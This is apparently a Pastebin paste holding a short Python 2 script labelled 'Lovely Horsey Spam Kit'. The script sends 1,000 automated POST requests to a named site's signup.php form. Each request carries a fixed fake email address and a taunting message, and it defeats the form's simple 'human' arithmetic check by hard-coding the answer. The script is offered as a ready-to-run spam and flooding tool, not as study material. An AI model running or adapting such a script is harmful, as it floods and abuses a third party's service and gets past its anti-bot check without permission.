Advertisement
Guest User

Untitled

a guest
Apr 29th, 2016
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.98 KB | None | 0 0
  1. import urllib
  2. import urllib2
  3.  
  4. print "------------------------"
  5. print "-- Lovely Horsey Spam --"
  6. print "------------------------"
  7.  
  8. # Lovely Horsey Spam Kit
  9.  
  10. def sendRequest(url):
  11. print "Dispatched"
  12. method = "POST"
  13. handler = urllib2.HTTPHandler()
  14. opener = urllib2.build_opener(handler)
  15. data = urllib.urlencode({'emailaddress': 'abc@123.com', 'whytosignup': 'why the hell not?', 'human': 7+5})
  16. request = urllib2.Request(url, data=data)
  17. request.add_header('Content-Type', 'x-www-form-urlencoded')
  18. request.get_method = lambda: method
  19. try:
  20. connection = opener.open(request)
  21. except urllib2.HTTPError, e:
  22. connection = e
  23.  
  24. if connection.code == 200:
  25. data = connection.read()
  26. print "Connected"
  27. else:
  28. print "Failed to connect"
  29.  
  30. count = 0
  31. totalRequests = 1000
  32.  
  33. while count < totalRequests:
  34. print "Starting..."
  35. sendRequest('https://protld.host/beta.combean/signup.php')
  36. count = count + 1
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement